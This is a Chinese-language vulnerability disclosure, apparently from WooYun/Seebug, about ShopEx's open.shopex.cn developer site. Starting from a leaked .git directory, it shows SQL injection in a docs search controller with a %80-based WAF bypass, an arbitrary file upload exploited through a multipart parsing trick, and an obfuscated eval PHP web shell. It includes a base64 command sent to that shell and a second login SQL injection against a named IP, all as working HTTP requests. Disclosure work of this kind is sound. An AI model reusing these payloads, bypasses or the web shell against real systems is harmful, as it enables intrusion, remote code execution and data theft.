### 简要描述:
SQL注入.
### 详细说明:
BBScan 扫到一个git信息泄露:
```
http://open.shopex.cn/.git/
```
使用rip-git.pl把源码下载下来.
源码审计发现一个sql注入:
open.shopex.cn\core\application\controllers\docs.php:
```
/**
* API接口搜索列表页
*
* @access public
*
* @return void
*/
public function api_search($category_id){
$this->data['navigations'][] = array('name'=>'开发文档','url'=>'');
$this->data['navigations'][] = array('name'=>'API文档','url'=>site_url('/docs/api_list/'.$category_id));
$platform_id = isset($_GET['platform_id'])?$_GET['platform_id']:0;
$docs_keyword = isset($_GET['docs_keyword'])?trim(urldecode($_GET['docs_keyword'])):'';
$method_type_id = isset($_GET['method_type_id'])?$_GET['method_type_id']:0;
/**
*
* 开发文档页改变布局
*/
$this->layout->Layout('doc_details');
/**
*
* 加载API列表模型,并获取API列表数据
*/
$this->load->model('method_type_model');
$api_list_data_temp = $this->method_type_model->get_api_list_all();
foreach($api_list_data_temp as $k=>$v){
$api_list_data[$v['id']] = $v;
}
$this->data['api_list_data'] = $api_list_data;
/**
*
* 支持平台列表
*/
$this->load->model('platform_model');
$platform_list = $this->platform_model->get_platform_list();
$this->data['platform_list'] = $platform_list;
/**
*
* 条件过滤
*/
$conditions = '1=1';
if($platform_id>0){
$conditions.= ' AND pm.platform_id='.$platform_id;
}
if($docs_keyword!=''){
$conditions.= ' AND (m.name like "%'.$docs_keyword.'%" OR m.introduction like "%'.$docs_keyword.'%")';
}
/**
*
* 左边筛选使用
*/
$this->load->model('method_model');
$filter_method_list = $this->method_model->get_method_search_list($conditions);//接口列表
$method_type_id_array = array();
foreach($filter_method_list as $k=>$v){
$method_type_id_array[] = $v['method_type_id'];
}
if($method_type_id>0){
$conditions.= ' AND mthm.method_type_id='.$method_type_id;
}
/**
*
* 加载API接口模型
*/
$this->load->model('method_model');
$method_list_temp = $this->method_model->get_method_search_list($conditions);//接口列表
foreach($method_list_temp as $k=>$v){
$temp = isset($api_list_data[$v['method_type_id']])?$api_list_data[$v['method_type_id']]['name']:'temp';
$method_list_group[$temp][] = $v;
}
$this->data['method_list_group'] = $method_list_group;
$this->data['method_type_id_array'] = $method_type_id_array;
$this->data['docs_keyword'] = $docs_keyword;
$this->data['platform_id'] = $platform_id;
$this->data['category_id'] = $category_id;
$this->data['method_type_id'] = $method_type_id;//当前列表ID
$this->layout->view('docs/api_search',$this->data);
}
```
三个参数存在sql注入:
```
platform_id docs_keyword method_type_id
```
搜一下发现已经提交过了:
[WooYun: Shopex开放平台某处SQL注入](http://www.wooyun.org/bugs/wooyun-2014-088313)
[WooYun: Shopex官方某平台存在SQL注入漏洞一枚](http://www.wooyun.org/bugs/wooyun-2015-0114559)
[WooYun: ShopEx某分站存在注入](http://www.wooyun.org/bugs/wooyun-2015-0115779)
漏洞任没有修复,但上了waf.
程序是CI框架,默认过滤掉了参数中的utf-8字符,所以在关键字中插入一个%80就能绕过waf了。
```
http://open.shopex.cn/docs/api_search/1?platform_id=1/extractvalue(1,concat%20(0x7e,us%80er(),0x3a,ver%80sion()))%23
```
[<img src="https://images.seebug.org/upload/201512/122210195190a28293aef4521fe54577e9e384b6.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/122210195190a28293aef4521fe54577e9e384b6.png)
[<img src="https://images.seebug.org/upload/201512/1222120536af2f1c1bdb613516cb2ca4d054da28.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/1222120536af2f1c1bdb613516cb2ca4d054da28.png)
继续翻代码,找到一处任意文件上传:
open.shopex.cn\core\application\controllers\uploads.php:
```
class Uploads extends CI_Controller {
/**
* 首页图片上传
*
* @access public
*/
public function home_img(){
if(empty($_FILES['image'])){
$this->_return_msg('fail','上传内容格式不对!');
}
if(substr($_FILES['image']['type'],0,5)!='image'){
$this->_return_msg('fail','请确认上传的是图片!');
}
$image_name = $_FILES['image']['name'];
$image_name_exp = explode('.',$image_name);
$image_name = date('YmdHis').mt_rand(0,1).'.'.$image_name_exp[1];
$uploadfile = FCPATH.'uploads/home_img/'.$image_name;
move_uploaded_file($_FILES['image']['tmp_name'],$uploadfile);
$data['img'] = base_url('/uploads/home_img/'.$image_name);
$this->_return_msg('succ','成功',$data);
}...
```
利用php multipart/form-data 解析漏洞来绕过waf上传php shell:
```
POST /index.php/uploads/home_img HTTP/1.1
User-Agent: curl/7.33.0
Host: open.shopex.cn
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 341
Content-Type: multipart/form-data; boundary=----,xxoo
------,xxoo
Content-Disposition: form-data; name="image"; filename="1.jpg"
Content-Type: image/png
------
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: image/png
<script language="php">@preg_replace('/./e','@'.str_rot13('riny').'(bas'.'e64_decode($_POST[c]))', 'x');</script>
------
------,xxoo--
```
shell:
```
http://open.shopex.cn/uploads/home_img/201512122130440.php
```
```
POST /uploads/home_img/201512122130440.php HTTP/1.1
User-Agent: curl/7.33.0
Host: open.shopex.cn
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
c=ZWNobyBgaWQ7cHdkO2xhc3QgLTIwYDs=
```
[<img src="https://images.seebug.org/upload/201512/1222175044b7a1af0175248b111c6bb3faaa0083.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/1222175044b7a1af0175248b111c6bb3faaa0083.png)
另外还有一个sql注入:
```
POST /index.php/passport/passport/login HTTP/1.1
Host: 122.144.135.142
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=368fe31461cc0ba9a3e38c0334145b35; CNZZDATA3868185=cnzz_eid%3D1466070748-1449902718-%26ntime%3D1449902718
Content-Length: 131
biz_id=&entid=')or updatexml(1,co%80ncat(0x7e,us%80er(),ver%80sion()),1)#&pwd=xx&auth_code=cqac&subOk=%E7%99%BB%E5%BD%95&logOk=true
```
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201512/122210195190a28293aef4521fe54577e9e384b6.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/122210195190a28293aef4521fe54577e9e384b6.png)
[<img src="https://images.seebug.org/upload/201512/1222120536af2f1c1bdb613516cb2ca4d054da28.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/1222120536af2f1c1bdb613516cb2ca4d054da28.png)
[<img src="https://images.seebug.org/upload/201512/1222175044b7a1af0175248b111c6bb3faaa0083.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/1222175044b7a1af0175248b111c6bb3faaa0083.png)
暂无评论